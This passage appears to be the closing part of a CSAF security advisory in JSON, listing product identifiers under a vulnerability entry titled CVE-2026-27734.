"CSAFPID-5749512", "CSAFPID-5749513", "CSAFPID-5749514", "CSAFPID-5749515", "CSAFPID-5749516", "CSAFPID-5749517", "CSAFPID-5749518", "CSAFPID-5749519", "CSAFPID-5758409", "CSAFPID-5961918" ] } ], "title": "CVE-2026-27734" } ] }